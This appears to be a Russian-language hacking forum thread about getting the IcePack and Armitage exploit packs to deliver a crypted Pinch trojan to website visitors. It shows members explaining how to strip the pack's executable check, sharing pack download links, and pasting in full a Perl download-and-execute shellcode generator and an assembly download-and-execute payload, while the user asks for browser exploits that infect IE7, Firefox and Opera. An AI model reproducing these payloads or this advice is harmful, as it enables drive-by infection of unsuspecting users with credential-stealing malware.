|
Ошибка сплоита IcePack Platinum 2007
Значи так,выдаёт в админке вот такое чудо
"Неправильный PE заголовок исполняемого файла, проверте работоспособность исходного exe файла" Как с этим бороться? |
Видимо криптовал файл и крипт наворотил в файле всего...
Попробуй в коде IcePack найти проверку на валидность файла и убрать её... |
но файл лучше проверить, чтобы был рабочий
|
Цитата:
2.Если троян то файл рабочий,работает через gate,билдер пинч 2.99 by SLESH, |
тогда, как глофф сказал
|
не могу найти,кто может подскажет какой код редактировать?и в каком файле содержиться
|
В /admin/index.php смотри, ближе к концу, где настройки будут
-- ЗЫ: щя точный номер строки скажу |
Ищи строку
Цитата:
-- ЗЫ2: вырезать: Цитата:
|
нужна сама проверка а не строка с текстом
|
Цитата:
/* 980 */ $sign = @fread( $f, 2 ); /* 981 */ fclose( $f ); ---- /* 986 */ if ( $sign != "MZ" ) /* 987 */ { /* 988 */ $pe = "<br><font color='#FF2A00'><b>Неправельный PE заголовок испольняемого файла, проверте работоспособность исходного exe файла</b></font><br>"; /* 989 */ } |
/* 986 */ if ( $sign != "MZ" )
заменить на /* 986 */ if ( $sign !== $sign ) или типа того) |
Проше вообше вырезать)
|
Гм. по идеи проверка очень даже щедящая
Цитата:
ТС проверь свои конфигурации и файл, может, что напутал... |
мб с кодировками в скрипте проблема
|
И да .. может у тя и файла то наместе нет?)) на /load/ - 0777 chmod
|
или файл есть, но другой какой-нибудь скрипт :)
Или права не те, файл считаться не может, буфер $sign пустой, поэтому и $sign != "MZ" |
А какая щас вообще из паблика самая актуальная связка?
|
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
|
Сорри, чёт тупанул и не понял про какие ты сплоиты говоришь!
|
Цитата:
|
может кто выложить связку IcePack рабочую,всё перетыкал,сделал как написали,всё равно не работает
|
http://rapidshare.com/files/98666962/icepack.rar.html
http://rapidshare.com/files/98788994/armitage.rar - если надо. |
Так,создавать темку небуду,в общем юзаю армитаж пока нет айспака,вообще что актуальнее?и ещё вопросик,в папке exploits как я понял,лежат сплоиты подгружающие экзешник при заходе на index.php исходя из этого сделал вывод для себя,где взять побольше этих самых сплоитов?а то оперу и ие 7 не пробивает блин,как это дело можно организовать,ща буду мудрить с айспаком
|
имхо. Из паблика актуальнее армитражка.
А более новые сплоиты можно взять из более новых версий связок. Хотя проще поставить обновлённую версию связки). |
обновлённую версию связки где взять?купить у кого то?если да,то сколько стоит.,если нет,то где?
|
Цитата:
|
такой вот вопрос,а свежее откуда брать?в инете ползал чёт ненашёл,может кто помочь?
|
Свежее из пабла в основном в разделах наподобии "Приват софт нахаляву" и "Смерть барыгам", но золотых гор и супер халявы там не иши, действительно хорошие веши редко можно встретить
|
Я понял,вот что я тут напридумывал,строго пожалуйста не судите,я начинающий просто=)
в папке армитажа есть такие файлы как ie.php ff.php и т.д. как я понял это эксплоиты,так вот,на милворме взял вот такой эксплоит win32 Download and Execute Shellcode Generator (browsers edition) его код: #!/usr/bin/perl $loading_url=$ARGV[0]; chomp ($loading_url); my @buffer; if ($loading_url eq "") { $sco = 'ERROR!!! Enter url to remote exe.'; buffer_gen($sco); print @buffer; exit; } $c= generate_char(0); $sco= "\xE8\x56\x00\x00\x00\x53\x55\x56\x57\x8B\x6C\x24\ x18\x8B\x45". "\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\ x20\x01\xEB". "\xE3\x32\x49\x8B\x34\x8B\x01\xEE\x31\xFF\xFC\x31\ xC0\xAC\x38". "\xE0\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF2\x3B\x7C\ x24\x14\x75". "\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\ x1C\x01\xEB". "\x8B\x04\x8B\x01\xE8\xEB\x02\x31\xC0\x5F\x5E\x5D\ x5B\xC2\x08". "\x00\x5E\x6A\x30\x59\x64\x8B\x19\x8B\x5B\x0C\x8B\ x5B\x1C\x8B". "\x1B\x8B\x5B\x08\x53\x68\x8E\x4E\x0E\xEC\xFF\xD6\ x89\xC7\x53". "\x68\x8E\x4E\x0E\xEC\xFF\xD6\xEB\x50\x5A\x52\xFF\ xD0\x89\xC2". "\x52\x52\x53\x68\xAA\xFC\x0D\x7C\xFF\xD6\x5A\xEB\ x4D\x59\x51". "\x52\xFF\xD0\xEB\x72\x5A\xEB\x5B\x59\x6A\x00\x6A\ x00\x51\x52". "\x6A\x00\xFF\xD0\x53\x68\xA0\xD5\xC9\x4D\xFF\xD6\ x5A\x52\xFF". "\xD0\x53\x68\x98\xFE\x8A\x0E\xFF\xD6\xEB\x44\x59\ x6A\x00\x51". "\xFF\xD0\x53\x68\x7E\xD8\xE2\x73\xFF\xD6\x6A\x00\ xFF\xD0\xE8". "\xAB\xFF\xFF\xFF\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\ x6C\x6C\x00". "\xE8\xAE\xFF\xFF\xFF\x55\x52\x4C\x44\x6F\x77\x6E\ x6C\x6F\x61". "\x64\x54\x6F\x46\x69\x6C\x65\x41\x00\xE8\xA0\xFF\ xFF\xFF\x2E". "\x2E\x5C".$c."\x00\xE8\xB7\xFF\xFF\xFF\x2E\x2E\x5 C".$c."\x00". "\xE8\x89\xFF\xFF\xFF".$loading_url."\x00"; $sco=convert_sco($sco); buffer_gen($sco); print @buffer; sub generate_char() { my $wdsize = shift; my @alphanumeric = ('a'..'z'); my $wd = join '', map $alphanumeric[rand @alphanumeric], 0..$wdsize; return $wd; } sub convert_sco { my $data = shift; my $mode = shift() || 'LE'; my $code = ''; my $idx = 0; if (length($data) % 2 != 0) { $data .= substr($data, -1, 1); } while ($idx < length($data) - 1) { my $c1 = ord(substr($data, $idx, 1)); my $c2 = ord(substr($data, $idx+1, 1)); if ($mode eq 'LE') { $code .= sprintf('%%u%.2x%.2x', $c2, $c1); } else { $code .= sprintf('%%u%.2x%.2x', $c1, $c2); } $idx += 2; } return $code; } sub buffer_gen(){ $sco = shift; @buffer=<<FX; Win32 Download and Execute Shellcode Generator (browsers edition) Size: 275 bytes + loading_url Author: Yag Kohha (skyhole [at] gmail.com) Usage: ./sco http://remote_server/loader.exe Greetz to: str0ke \& milw0rm project shinnai h07 rgod H.D. Moor \& Metaspl0it offtopic 3APA3A -------> Start $sco -------> End FX } # milw0rm.com [2008-03-14] |
исходя из названия я понял,что этот эксплоит загружает и запускат экзешник(троян)на компе жертвы,можно ли те файлы удалить ie.php ff.php и т.д и заменить вот этим кодом в файле с расширением пхп?но в этом коде в первой строке есть строчка перл
это значит что сплоит под перл?как сделать что бы этот сплоит подходил для всех браузеров и под связку армитажа?если что то не так объяснил,пожалуйста переспросите как нужно |
это
Цитата:
|
а вот етот?
; ; relocateable dynamic runtime assembly code example using hash lookup *** for IE exploits only *** ; the URLMON.DLL must already be loaded into the process space for this to work, so do not run on its own!! ; ; to test use /DTEST_CODE in ml command line ; ; URLDownLoadToFileA() / WinExec() / ExitProcess() | ExitThread() ; ; 124 bytes ; ; for testing: ; ; ml /c /coff /Cp /DTEST_CODE dexec32.asm ; link /subsystem:windows /section:.text,w dexec32.obj urlmon.lib ; ; wyse101 [at] gmail.com ; ; March 2007 ; .386 .model flat,stdcall ROL_CONSTANT equ 5 mrol macro iNum:req,iBits:req exitm <(iNum shl iBits) or (iNum shr (32-iBits))> endm mror macro iNum:req,iBits:req exitm <(iNum shr iBits) or (iNum shl (32-iBits))> endm hashapi macro szApi local dwApi dwApi = 0 forc x,szApi dwApi = dwApi + '&x' dwApi = mrol(dwApi,ROL_CONSTANT) endm dwApi = mrol(dwApi,ROL_CONSTANT) dw (dwApi and 0ffffh) endm .code assume fs:nothing code_start: jmp load_data IFDEF TEST_CODE extern URLDownloadToFileA :proc call URLDownloadToFileA ; included when assembled with /DTEST_CODE ENDIF setup_parameters: pop edi ; offset @cmd_start xor eax,eax ; eax = 0 cdq ; edx = 0 ; ************************************************** ****************** push eax ; exit code = 0 ; ************************************************** ****************** push eax ; SW_HIDE mov dl,(@cmd_end-@cmd_start)-1 ; this allows command up to 255 bytes push edi ; file name to execute ; ************************************************** ****************** push eax ; callback routine URLDownLoadToFileA push eax ; reserved, must be zero push edi ; file name to save as add edi,edx ; get offset of @url_start-1 stosb ; zero tail end mov dl,(@url_end-@url_start)-1 ; limit of 255 bytes for url push edi ; url to download file from push eax ; interface add edi,edx ; get offset of @urlmon-1 stosb ; zero tail end of url ; ************************************************** ******************* load_modules: push edi ; save current offset to hashes push 30h pop ecx mov eax,fs:[ecx] ; PEB base address mov eax,[eax+0ch] ; PEB_LDR_DATA LoaderData mov ebp,[eax+1ch] ; LIST_ENTRY InMemoryOrderModuleList scan_dll: mov ebx,[ebp+8] ; DllBase mov ebp,[ebp] ; Flink push ebp ; save mov eax,[ebx+3ch] mov eax,[ebx+eax+78h] ; IMAGE_DIRECTORY_ENTRY_EXPORT lea esi,[ebx+eax+18h] ; offset IMAGE_EXPORT_DIRECTORY.NumberOfNames lodsd xchg eax,ecx ; ecx = NumberOfNames lodsd add eax,ebx ; AddressOfFunctions push eax lodsd lea edi,[eax+ebx] ; AddressOfNames lodsd lea ebp,[eax+ebx] ; ebp = AddressOfNameOrdinals load_api: mov esi,[edi+4*ecx-4] add esi,ebx xor eax,eax cdq hash_api: lodsb add edx,eax rol edx,ROL_CONSTANT dec eax jns hash_api mov esi,[esp+8] ; get api hashes cmp dx,word ptr[esi] ; found a match? je call_api loop load_api pop eax ; check pop ebp ; jmp scan_dll call_api: pop eax movzx edx,word ptr [ebp+2*ecx-2] add ebx,[eax+4*edx] pop ebp ; modules pop edi ; api hashes call ebx ; call api stosw ; advance 2 bytes to next hash jmp load_modules ; do another, just keep going until ExitProcess is reached. ; ************************* load_data: call setup_parameters @cmd_start: db 'file.exe',0ffh ; WinExec("file.exe",SW_HIDE); @cmd_end: @url_start: db 'http://127.0.0.1/file.exe',0ffh ; url of file to download @url_end: hashapi <URLDownloadToFileA> hashapi <WinExec> hashapi <ExitProcess> ; ************************************************** ******************* end code_start ; milw0rm.com [2007-06-14] называется вроде как надо win32 download and execute но он только под ослика вроде как,а под другие найти там можно же наверняка=) |
А это вообще - асм :d.
Тебе нужен пхп). |
инет перерыл,ничё толком ненашёл,народ может кто-нибудь дать сплоиты пхп что бы под ие 7 фф и оперу подгружал экзешник?устал искать но поиски продолжаю=)и если вот нашёл сплоит пхп,его просто в папку армитажа положить?гг=)а то грузит только на 6 ослика экзешник
|
Цитата:
Цитата:
ЗЫ. Ты что-ли тегами пользоваться не умеешь? В следующий раз коды выкладывай в тегах [code] |
но на милворме же выкладывают,блин только придраться можешь,дельного бы сказал что нибудь
|
может кто-нибудь хотя бы сплоит для ff выложить ?и немного хотяб рассказать,как в армитаж внедрить его
|
| Время: 08:56 |